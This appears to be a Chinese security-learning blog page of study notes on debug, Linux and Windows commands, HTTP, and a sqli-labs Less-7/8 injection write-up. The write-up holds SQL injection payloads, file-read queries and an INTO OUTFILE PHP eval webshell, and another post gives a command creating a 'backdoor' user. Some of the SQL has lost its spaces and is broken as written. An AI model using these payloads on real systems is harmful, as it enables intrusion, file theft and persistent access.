Hexo

  • Home

  • About

  • Tags

  • Categories

  • Archives

  • Schedule

Untitled

Posted on 2019-03-18

title: 汇编-debug的基础指令
date: 2019-03-18 15:20:08
tags:
categories: 汇编

debug的使用:

可以使用debug查看CPU各种寄存中的内容,内存的情况和在机器码级跟踪程序的运行。

debug的使用:

可以使用debug查看CPU各种寄存中的内容,内存的情况和在机器码级跟踪程序的运行。

debug功能:(常见的六个)

R命令:查看、改变CPU寄存器的内容

r1

r2

D命令:查看内存中的内容

d1

左边是内存地址 ,内存地址中的对应的内容 右边是ASCII编码 (数字符号,英语字母,标点符号)

展示128个字节

也可以使用下面的指令修改

d2

使用d命令只当查看范围后,接着使用d命令,可列出后续的内容

d3

U命令:将内存中的机器指令翻译成汇编指令

u1

u2

A指令:以汇编指令的格式在内存中写入一条机器指令

a1

可以在指定位置写入

a2

T指令:执行一条及其指令

执行的位置是cs:ip指向的位置

例如我们要执行 2000:0 位置的指令

t1

之后就可以执行

t2

E命令:改写内存中的内容

方式1:

e1

方式2:以提问式的方式

e2

  1. 输入e 2000:0 之后回车,将显示起始地址(图中为2000:0000)和第一个单元(2000:0000)的原始内容(B8),光标将会出现在“.”的后面,

  2. 此时输入值然后空格可改写原有的内容;不输入直接空格表示不对当前单元改写。

  3. 输入空格后将自动跳到下一个单元。

  4. 改写完毕后回车结束e命令

e指令还可以结合ASCLL码使用

e3

可以看到存到内存中的是字符对应的ASCLL码

例如 0对应30H(十进制的48) a对应61H(十进制的97)A对应41H(十进制的65)

小知识: 可以按住alt键打出ASCLL码指对应的符号

按住alt 输入48 松开 alt,就打出了0, 写65 可以输出对应A

e4

我们还可以用e命令向内存中写入字符串

使用e命令向内存中写入机器码,然后用u指令翻译成汇编指令

e5

补充:

g命令与p命令

G命令的使用方法是:G [=起始地址] [断点地址],意思是从起始地址开始执行到断点地址。如果不设置断点,则程序一直运行到中止指令才停止。

例如:g 0012 表示将debug从当前的CS:IP指向的指令执行,一直到(IP)=0012h为止

实例:

在设置完内存数据并且输入完程序后运行这些汇编代码。在DEBUG中执行命令G=100,观看运行结果。

g1

汇编程序运行后在屏幕上显示出“ABCD”四个字符。

接下来在DEBUG中执行G=100 10B,意思是从地址CS:100开始,一直运行到CS:10B停止。观看运行结果。

命令执行后,不但显示出字符串“ABCD”,而且列出当前寄存器和标志位的值。

g2

g命令在loop中的使用:

使用loop循环时,如果要运行到跳出循环执行后面的代码,(即不用一次次按t一步步执行循环到循环结束)可以先用u命令查看代码的偏移地址,在用g命令跳转到此偏移到此代码处,如下:

g3

用u命令可以看到循环的命令后的地址位于0b40:000B,所以要跳出循环就用 g 000B 即可

p指令

使用p指令,debug就会自动重复执行循环中的指令,直到(cx)=0为止

转移指令

jmp

call 将读取该指令后改变的ip保存下来,并执行跳转 ret从内存中拿回保存的地址

linux命令应用

Posted on 2019-02-28 | Edited on 2019-03-02 | In 命令

使用命令行下载git项目文件

//在终端使用命令行 git clone git://远程Git库地址 filename
filename 是你本地的文件夹名字将远程库克隆到这个文件夹,此文件是自己建立的, filename默认为在主文件夹的home里面

例如:
请通过git命令,下载https://github.com/sqlmapproject/sqlmap.git项目文件?

Git clone https://github.com/sqlmapproject/sqlmap.git

通过命令将http://www.xxx.com/test.zip下载至本地

wget是linux下一个从网络上自动下载文件的常用自由工具。它支持HTTP,HTTPS和FTP协议,可以使用HTTP代理。一般的使用方法是: wget + 空格 + 参数 + 要下载文件的url路径,例如:

wget http://www.linuxsense.org/xxxx/xxx.tar.gz
-c参数, 这个也非常常见, 可以断点续传, 如果不小心终止了, 可以继续使用命令接着下载,例如:

wget -c http://www.linuxsense.org/xxxx/xxx.tar.gz

Wget常用参数
-b:后台下载,Wget默认的是把文件下载到当前目录。
-O:将文件下载到指定的目录中。
-P:保存文件之前先创建指定名称的目录。
-t:尝试连接次数,当Wget无法与服务器建立连接时,尝试连接多少次。
-c:断点续传,如果下载中断,那么连接恢复时会从上次断点开始下载。
-r:使用递归下载

查看文件的行数

在 linux 系统中没有在 windows 系统中那么方便的点点鼠标就可以操作文件了,对文件的各种操作都必须使用各种命令来完成。比如有时候我们需要在不查看文件内容的情况下需要知道该文件有多少行。这个时候可以通过 linux 的 wc 命令完成我们的想法。下面具体介绍一下 wc 命令的作用以及用法。

wc 命令的作用:统计指定文件中的字节数、字数、行数,并将结果显示输出。

命令语法:wc [选项] 文件

该命令选项参数如下:

-c 统计字节数

-l 统计行数

-w 统计字数

-m 统计字符数

以上选项可以单独使用也可以组合使用。注意组合使用时输出结果的列的顺序和数目不受选项的顺序和数目的影响。输出结果总是按下述顺序进行显示的。

行数 字数 字节数 文件名

例如:

wc -lcw file1 file2

则输出结果为:

9 36 file1

8 62 file2

8 24 96 total

省略任选项-lcw,wc命令的执行结果与上面是一样的。

以上选项也可以单独使用,例如:

wc -l filename 输出 filename 的行数

wc -c filename 输出 filename 的字节数

wc -m filename 输出 filename 的字符数

wc -w filename 输出 filename 的单词数

wc -L filename 输出 filename 文件里最长的那一行是多少个字符数

linux下查找某个文件位置的方法

全局查找

例如查找httpd.conf这个文件
find / -name httpd.conf
  这个命令语法看起来很容易就明白了,就是直接在find后面写上 -name,表明要求系统按照文件名查找,最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表:
  etc/httpd/conf/httpd.conf
  这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。

指定目录下查找

如果我们在整个硬盘,这个系统中查找某个文件就要花费相当长的一段时间,特别是大型Linux系 统和容量较大的硬盘,文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中,那么只要在这个目录中往下找就能节省很多时间了。使用find /etc -name httpd.conf就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/”这个函数符号的含 义,如果输入“find /”就是表示要求Linux系统在整个ROOT目录下查找文件,也就是在整个硬盘上查找文件,而“find /etc”就是只在
etc目录下查找文件。因为“find /etc”表示只在etc目录下查找文件,所以查找的速度就相应要快很多了

根据部分文件名查找方法:

 例如我们知道某个文件包含有srm这3个字母,那么要找到系统中所有包含有这3个字母的文件是可以实现 的,输入:
  find /etc -name ‘srm‘
  这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件,比如absrmyz,tibc.srm等等符合条件的文件都能显示出来。如果你还知道这个文件是由srm 这3个字母打头的,那么我们还可以省略最前面的星号,命令如下:
  find/etc -name ‘srm*’

根据文件的特征查询方法:

  例如我们知道一个Linux文件大小为1,500bytes,那么我们可是使用如下命令来查询find /-size
1500c,字符c表明这个要查找的文件的大小是以bytes为单位。如果我们连这个文件的具体大小都不知道,那么在Linux中还可以进行模糊查找方式 来解决。例如我们输入find /-size+10000000c这个命令,则标明我们指定系统在根目录中查找出大于10000000字节的文件并显示出来。命令中的“+”是表示要求系 统只列出大于指定大小的文件,而使用“-”则表示要求系统列出小于指定大小的文件。下面的列表就是在Linux使用不同“find”命令后系统所要作出的 查找动作,从中我们很容易看出在Linux中使用“find”命令的方式是很多的,“find”命令查找文件只要灵活应用,丝毫不比在WINDOWS中查 找能力差。

1
2
3
4
5
6
7
8
find / -amin -10 # 查找在系统中最后10分钟访问的文件 
  find / -atime -2 # 查找在系统中最后48小时访问的文件
  find / -empty # 查找在系统中为空的文件或者文件夹
  find / -group cat # 查找在系统中属于groupcat的文件
  find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
  find / -mtime -1 #查找在系统中最后24小时里修改过的文件
  find / -nouser #查找在系统中属于作废用户的文件
  find / -user fred #查找在系统中属于FRED这个用户的文件

  下面的列表就是对find命令所可以指定文件的特征进行查找的部分条件。在这里并没有列举所有的查找条件,参考有关Linux有关书籍可以知道所有find命令的查找函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  -amin n 
  查找系统中最后N分钟访问的文件
  -atime n
  查找系统中最后n*24小时访问的文件
  -cmin n
  查找系统中最后N分钟被改变状态的文件
  -ctime n
  查找系统中最后n*24小时被改变状态的文件
  -empty
  查找系统中空白的文件,或空白的文件目录,或目录中没有子目录的文件夹
  -false
  查找系统中总是错误的文件
  -fstype type
  查找系统中存在于指定文件系统的文件,例如:ext2 .
  -gid n
  查找系统中文件数字组 ID 为 n的文件
  -group gname
  查找系统中文件属于gnam文件组,并且指定组和ID的文件。

windows命令应用

Posted on 2019-02-27 | Edited on 2019-03-02 | In 命令

如何用DOS命令查看占用某端口的程序及PID号

输入命令“ netstat -aon|findstr “80” ”后按回车显示如下,可以看到占用80端口对应的程序的PID号为2320:

根据PID号找到对应的程序:继续输入命令“tasklist|findstr “2448””,按回车后显示如下,可以看出2320对应的程序为360tray,这也说明该程序正在使用80端口:

若想80端口不被占用,则需要在任务管理器中结束相应的进程,按快捷键“Ctrl+Shift+Esc”调出Windows任务管理器,找到“360tray”,单击下方的结束进程即可!

结束进程时要注意,若不熟悉的进程最好不要随意结束,否则可能会出现不可预测的错误;

Windows下如何用命令查看PID进程和杀掉该进程

1.提供查看PID进程的命令:
例如: tasklist|findstr “2396”

taskkill /f /t /im tor.exe
例如: ntsd -c q -p pid 2396或者taskkill/pid 2396

可以用taskkill命令直接结束,后面加/f,表示强制结束,不提示错误。

输出重定向(>)和输出追加重定向(>>)

echo > 和 echo >>的区别 和Linux 一样

windows获取文件夹下所有文件名的方法

方法一:tree命令

TREE——显示磁盘目录结构命令

功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。

格式:TREE [盘符:][\目录] [/F] [/A]

  使用说明:使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件;

  使用/A参数时,不是用Ascii码大于127(NT为255)的字符显示,是用Ascii码小于128的字符显示。
还能通过> 将结果保存在一个文本中而不是显示在命令窗口

方法二:dir命令
/s 是指列出当前目录包含子目录下的所有文件

/b 是仅列出文件名称,而日期、大小等其它信息则忽略

同样也可以使用>将结果保存在一个文本中而不是显示在命令窗口

dir D: /s/b > E:/contents.xls 这样可以直接把D盘下的文件名都提取出来并创建contents.xls存放到E盘的根目录下。

查看系统详细信息

(包含已打补丁、开机运行时间等等)的命令
输入“systeminfo”命令,即可看到安装时间。

运行时间也可以

1、右键点击桌面底部任务栏,再点击“启动任务管理器”;

2、在“任务管理器”窗口,点击“性能”选项卡;

3、在“性能”界面,右下边便可以看见系统运行时间。

文件(夹)创建与删除

文件创建

一般创建空文件用 type 创建非空用echo

echo创建文件

使用type创建一个文本

使用fsutil 创建一个文件大小为3000比特的文本

fsutil file createNew D:\new.text\f.text 3000
此时为空文件
fsutil file createNew dir D:/ >D:\new.text\fsu.text 3000
此时文件内有固定的文字

1
2
用法 : fsutil file createNew <filename> <length>
例如 : fsutil file createNew C:\testfile.txt 1000

创建文件夹

我们可以使用 md 或mkdir 命令来创建,其中md和mkdir都是建立新目录make directory的意思,完整命令是md [盘符:][路径]新目录名,
比如:md c:\test\myfolder

删除文件夹

使用rd或rmdir命令,完整命令rd /s /q [盘符:][路径]新目录名,因为rd只能删除空的文件夹,而如果其中有子文件或子文件夹的时候就会停下来

这时我们加上/s就可以直接删除,但是删除过程中会提示你是否确定删除

对于懒癌患者我们有添加了/q,即quiet,安静模式;所以使用以上命令会完整删除你选中的整个文件夹

删除文件

创建用户,并设置密码

创建一个backdoor用户,密码为backdoor123,命令是?
Net user backdoor backdoor123/add

mysql注入知识03导入导出相关操作及less7-less8

Posted on 2019-02-26 | In Mysql注入-sqlilabs

导入导出相关操作的讲解

load_file()导出文件 Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。 使用条件:

  • A、必须有权限读取并且文件必须完全可读 and(selectcount()frommysql.user)>0/ 如果结果返回正常,说明具有读写权限。 and(selectcount()frommysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权
  • B、欲读取文件必须在服务器上
  • C、必须指定文件完整的路径
  • D、欲读取文件必须小于 max_allowed_packet 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。 在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。 常用路径: http://www.cnblogs.com/lcamry/p/5729087.html
    示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))) 利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
    -1 union select 1,1,1,load_file(c:\\boot.ini) Explain:路径里的/用 \\代替

    文件导入到数据库

    LOADDATAINFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必 须为一个文字字符串。
    在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据 库的权限时,可以将系统文件利用 loaddatainfile 导入到数据库中。

函数具体介绍:对于参数介绍这里就不过多的赘述了,可以参考 mysql 的文档。(提醒:参 考文档才是最佳的学习资料)
示例:loaddatainfile’/tmp/t0.txt’ignoreintotablet0charactersetgbkfieldsterminatedby’\t’ linesterminatedby’\n’

将/tmp/t0.txt 导入到 t0表中,charactersetgbk 是字符集设置为 gbk,fieldsterminatedby 是 每一项数据之间的分隔符,linesterminatedby 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑 /tmp等文件夹。
TIPS:我们从 mysql5.7 的文档看到添加了 loadxml 函数,是否依旧能够用来做注入还需要验 证。

导入到文件

SELECT…..INTOOUTFILE’file_name’
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:
第一种直接将 select 内容导入到文件中:
Mysql 注入—sqlilabs—lcamry
32
Selectversion()intooutfile“c:\\phpnow\\htdocs\\test.php”
此处将 version()替换成一句话,<?php@eval($_post[“mima”])?>也即
Select <?php@eval($_post[“mima”])?> intooutfile“c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很 多的内容。
第二种修改文件结尾:
Selectversion()Intooutfile“c:\\phpnow\\htdocs\\test.php”LINESTERMINATEDBY0x16 进制文 件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY
16 进制可以为一句话或者其他任何的代码,可自行构造。在 sqlmap 中 os-shell 采取的就是 这样的方式,具体可参考 os-shell 分析文章: http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)上述我们提到了 load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语 句:
selectload_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)intooutfile ‘c:\\wamp\\www\\test.php’
可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。 上述 my.ini当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来, 这个要平时积累。

less7

在使用导入导出函数前,我们需要解决权限问题

关于导入导出的权限问题:

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv选项
secure_file_priv

  1、限制mysqld 不允许导入 | 导出
    –secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
    –secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制
–secure_file_priv=

用以下命令查看secure_file_priv的值
show variables like ‘%secure%’

此时发现没有权限
在my.ini文件[mysqld]的后面加上secure_file_priv=‘’,然后重启phpstudy即可


设置完成后,重新查看

权限设置完成
测试:

查看生成的new.text

回到less7中

本关的标题是 dump into outfile,意思是本关我们利用文件导入的方式进行注入
回到源代码中去。重点放在对 id 参数的处理和 sql 语句上,从源代码中可以看 到$sql=”SELECT*FROMusersWHEREid=((‘$id’))LIMIT0,1”; 这里对 id 参数进行了 ‘))的处理。所以我们其实可以尝试’))or1=1–+进行注入
使用into outfile 进行注入
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))union%20select%20version(),user(),database()into%20outfile%20%22D:\\\\\php\\\\PHPTutorial\\\\WWW\\\\sqli-labs-master\\\\Less-7\\\\3.txt%22%23


上图中显示 sql 出错了,但是没有关系,我们可以在文件中看到 3.txt 已经生成了。

类似的我们就可以获取想要的信息,输出到文本中。注意导入的文件名不能事先存在

Less-8

经过简单的测试,我们发现 ‘or1=1–+返回正常,那么我们就基本知道应该怎么使用了,参 考 less5.这里简单的进行一个示例: http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

这里用的延时注入,当然了我们使用布尔类型的注入也是可以的,那么和第五关有什么区别 呢?
第八关我们直接从源代码中可以看到

这里将 mysql 报错的语句进行了注释,那么这一关报错注入就不行了

其他的 payload 参考 less5 直接进行注入

http基础知识

Posted on 2019-02-22 | Edited on 2019-02-27

HTTP协议简单解析及WEB请求过程
http协议学习
http字段总结
HTTP 头字段总结

http的状态响应码

1**:请求收到,继续处理

100——客户必须继续发出请求

101——客户要求服务器根据请求转换HTTP协议版本

2**:操作成功收到,分析、接受

200——交易成功
201——提示知道新文件的URL

202——接受和处理、但处理未完成

203——返回信息不确定或不完整

204——请求收到,但返回信息为空

205——服务器完成了请求,用户代理必须复位当前已经浏览过的文件

206——服务器已经完成了部分用户的GET请求

3**:完成此请求必须进一步处理

300——请求的资源可在多处得到

301——删除请求数据

302——在其他地址发现了请求数据

303——建议客户访问其他URL或访问方式

304——客户端已经执行了GET,但文件未变化

305——请求的资源必须从服务器指定的地址得到

306——前一版本HTTP中使用的代码,现行版本中不再使用

307——申明请求的资源临时性删除

4**:请求包含一个错误语法或不能完成

400——错误请求,如语法错误

401——未授权

HTTP 401.1 - 未授权:登录失败

  HTTP 401.2 - 未授权:服务器配置问题导致登录失败

  HTTP 401.3 - ACL 禁止访问资源

  HTTP 401.4 - 未授权:授权被筛选器拒绝

HTTP 401.5 - 未授权:ISAPI 或 CGI 授权失败

402——保留有效ChargeTo头响应

403——禁止访问

HTTP 403.1 禁止访问:禁止可执行访问

  HTTP 403.2 - 禁止访问:禁止读访问

  HTTP 403.3 - 禁止访问:禁止写访问

  HTTP 403.4 - 禁止访问:要求 SSL

  HTTP 403.5 - 禁止访问:要求 SSL 128

  HTTP 403.6 - 禁止访问:IP 地址被拒绝

  HTTP 403.7 - 禁止访问:要求客户证书

  HTTP 403.8 - 禁止访问:禁止站点访问

  HTTP 403.9 - 禁止访问:连接的用户过多

  HTTP 403.10 - 禁止访问:配置无效

  HTTP 403.11 - 禁止访问:密码更改

  HTTP 403.12 - 禁止访问:映射器拒绝访问

  HTTP 403.13 - 禁止访问:客户证书已被吊销

  HTTP 403.15 - 禁止访问:客户访问许可过多

  HTTP 403.16 - 禁止访问:客户证书不可信或者无效

HTTP 403.17 - 禁止访问:客户证书已经到期或者尚未生效

404——没有发现文件、查询或URl

405——用户在Request-Line字段定义的方法不允许

406——根据用户发送的Accept拖,请求资源不可访问

407——类似401,用户必须首先在代理服务器上得到授权

408——客户端没有在用户指定的饿时间内完成请求

409——对当前资源状态,请求不能完成

410——服务器上不再有此资源且无进一步的参考地址

411——服务器拒绝用户定义的Content-Length属性请求

412——一个或多个请求头字段在当前请求中错误

413——请求的资源大于服务器允许的大小

414——请求的资源URL长于服务器允许的长度

415——请求资源不支持请求项目格式

416——请求中包含Range请求头字段,在当前请求资源范围内没有range指示值,请求也不包含If-Range请求头字段

417——服务器不满足请求Expect头字段指定的期望值,如果是代理服务器,可能是下一级服务器不能满足请求长。

5**:服务器执行一个完全有效请求失败

  HTTP 500 - 内部服务器错误

  HTTP 500.100 - 内部服务器错误 - ASP 错误

  HTTP 500-11 服务器关闭

  HTTP 500-12 应用程序重新启动

  HTTP 500-13 - 服务器太忙

  HTTP 500-14 - 应用程序无效

  HTTP 500-15 - 不允许请求 global.asa

  Error 501 - 未实现

HTTP 502 - 网关错误

Cookie和Session

Cookie和Session都为了用来保存状态信息,都是保存客户端状态的机制,它们都是为了解决HTTP无状态的问题而所做的努力。

Session可以用Cookie来实现,也可以用URL回写的机制来实现。用Cookie来实现的Session可以认为是对Cookie更高级的应用。

两者比较

Cookie和Session有以下明显的不同点:

1)Cookie将状态保存在客户端,Session将状态保存在服务器端;

2)Cookies是服务器在本地机器上存储的小段文本并随每一个请求发送至同一个服务器。Cookie最早在RFC2109中实现,后续RFC2965做了增强。网络服务器用HTTP头向客户端发送cookies,在客户终端,浏览器解析这些cookies并将它们保存为一个本地文件,它会自动将同一服务器的任何请求缚上这些cookies。Session并没有在HTTP的协议中定义;

3)Session是针对每一个用户的,变量的值保存在服务器上,用一个sessionID来区分是哪个用户session变量,这个值是通过用户的浏览器在访问的时候返回给服务器,当客户禁用cookie时,这个值也可能设置为由get来返回给服务器;

4)就安全性来说:当你访问一个使用session 的站点,同时在自己机子上建立一个cookie,建议在服务器端的SESSION机制更安全些.因为它不会任意读取客户存储的信息。

Session机制

Session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。

当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否已包含了一个session标识 - 称为 session id,如果已包含一个session id则说明以前已经为此客户端创建过session,服务器就按照session id把这个 session检索出来使用(如果检索不到,可能会新建一个),如果客户端请求不包含session id,则为此客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个 session id将被在本次响应中返回给客户端保存。

Session的实现方式

使用Cookie来实现

服务器给每个Session分配一个唯一的JSESSIONID,并通过Cookie发送给客户端。

当客户端发起新的请求的时候,将在Cookie头中携带这个JSESSIONID。这样服务器能够找到这个客户端对应的Session。

流程如下图所示:

使用URL回显来实现

URL回写是指服务器在发送给浏览器页面的所有链接中都携带JSESSIONID的参数,这样客户端点击任何一个链接都会把JSESSIONID带会服务器。

如果直接在浏览器输入服务端资源的url来请求该资源,那么Session是匹配不到的。

Tomcat对Session的实现,是一开始同时使用Cookie和URL回写机制,如果发现客户端支持Cookie,就继续使用Cookie,停止使用URL回写。如果发现Cookie被禁用,就一直使用URL回写。jsp开发处理到Session的时候,对页面中的链接记得使用response.encodeURL() 。

在J2EE项目中Session失效的几种情况

1)Session超时:Session在指定时间内失效,例如30分钟,若在30分钟内没有操作,则Session会失效,例如在web.xml中进行了如下设置:

1
2
3
<session-config> 
<session-timeout>30</session-timeout> //单位:分钟
</session-config>

2)使用session.invalidate()明确的去掉Session。

与Cookie相关的HTTP扩展头

1)Cookie:客户端将服务器设置的Cookie返回到服务器;

2)Set-Cookie:服务器向客户端设置Cookie;

3)Cookie2 (RFC2965)):客户端指示服务器支持Cookie的版本;

4)Set-Cookie2 (RFC2965):服务器向客户端设置Cookie。

Cookie的流程

服务器在响应消息中用Set-Cookie头将Cookie的内容回送给客户端,客户端在新的请求中将相同的内容携带在Cookie头中发送给服务器。从而实现会话的保持。

流程如下图所示:

Windows常用命令

Posted on 2019-02-21 | Edited on 2019-03-02 | In 命令

Windows常用命令
https://www.cnblogs.com/qianjingchen/p/9549508.html
http://www.cnblogs.com/sbaicl/archive/2013/03/05/2944001.html
下面是有关常用网络命令的一篇博客
https://blog.csdn.net/wz_cow/article/details/80864032

附CMD比较常用命令集:
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构(WMI)
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板
winmsd———系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕“讲述人”
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-垃圾整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器

Linux常用命令

Posted on 2019-02-21 | Edited on 2019-03-02 | In 命令

来源https://blog.csdn.net/ljianhui/article/details/11100625/#
Linux常用命令详解-目录文件操作命令

1、cd命令

这是一个非常基本,也是大家经常需要使用的命令,它用于切换当前目录,它的参数是要切换到的目录的路径,可以是绝对路径,也可以是相对路径。如:

cd /root/Docements # 切换到目录/root/Docements
cd ./path # 切换到当前目录下的path目录中,“.”表示当前目录
cd ../path # 切换到上层目录中的path目录中,“..”表示上一层目录

2、ls命令

这是一个非常有用的查看文件与目录的命令,list之意,它的参数非常多,下面就列出一些我常用的参数吧,如下:

-l :列出长数据串,包含文件的属性与权限数据等
-a :列出全部的文件,连同隐藏文件(开头为.的文件)一起列出来(常用)
-d :仅列出目录本身,而不是列出目录的文件数据
-h :将文件容量以较易读的方式(GB,kB等)列出来
-R :连同子目录的内容一起列出(递归列出),等于该目录下的所有文件都会显示出来
注:这些参数也可以组合使用,下面举两个例子:

ls -l #以长数据串的形式列出当前目录下的数据文件和目录
ls -lR #以长数据串的形式列出当前目录下的所有文件

3、grep命令

该命令常用于分析一行的信息,若当中有我们所需要的信息,就将该行显示出来,该命令通常与管道命令一起使用,用于对一些命令的输出进行筛选加工等等,它的简单语法为
grep [-acinv] [–color=auto] ‘查找字符串’ filename
它的常用参数如下:

-a :将binary文件以text文件的方式查找数据
-c :计算找到‘查找字符串’的次数
-i :忽略大小写的区别,即把大小写视为相同
-v :反向选择,即显示出没有‘查找字符串’内容的那一行

  • 例如:
  • 取出文件/etc/man.config中包含MANPATH的行,并把找到的关键字加上颜色
    grep –color=auto ‘MANPATH’ /etc/man.config
  • 把ls -l的输出中包含字母file(不区分大小写)的内容输出
    ls -l | grep -i file

    4、find命令

    find是一个基于查找的功能非常强大的命令,相对而言,它的使用也相对较为复杂,参数也比较多,所以在这里将给把它们分类列出,它的基本语法如下:

find [PATH] [option] [action]

  • 与时间有关的参数:
    -mtime n : n为数字,意思为在n天之前的“一天内”被更改过的文件;
    -mtime +n : 列出在n天之前(不含n天本身)被更改过的文件名;
    -mtime -n : 列出在n天之内(含n天本身)被更改过的文件名;
    -newer file : 列出比file还要新的文件名
  • 例如:
    find /root -mtime 0 # 在当前目录下查找今天之内有改动的文件

  • 与用户或用户组名有关的参数:
    -user name : 列出文件所有者为name的文件
    -group name : 列出文件所属用户组为name的文件
    -uid n : 列出文件所有者为用户ID为n的文件
    -gid n : 列出文件所属用户组为用户组ID为n的文件

  • 例如:
    find /home/ljianhui -user ljianhui * 在目录/home/ljianhui中找出所有者为ljianhui的文件

  • 与文件权限及名称有关的参数:
    -name filename :找出文件名为filename的文件
    -size [+-]SIZE :找出比SIZE还要大(+)或小(-)的文件
    -tpye TYPE :查找文件的类型为TYPE的文件,TYPE的值主要有:一般文件(f)、设备文件(b、c)、

    目录(d)、连接文件(l)、socket(s)、FIFO管道文件(p);
    

    -perm mode :查找文件权限刚好等于mode的文件,mode用数字表示,如0755;
    -perm -mode :查找文件权限必须要全部包括mode权限的文件,mode用数字表示
    -perm +mode :查找文件权限包含任一mode的权限的文件,mode用数字表示

  • 例如:
    find / -name passwd # 查找文件名为passwd的文件
    find . -perm 0755 # 查找当前目录中文件权限的0755的文件
    find . -size +12k # 查找当前目录中大于12KB的文件,注意c表示byte

    5、cp命令

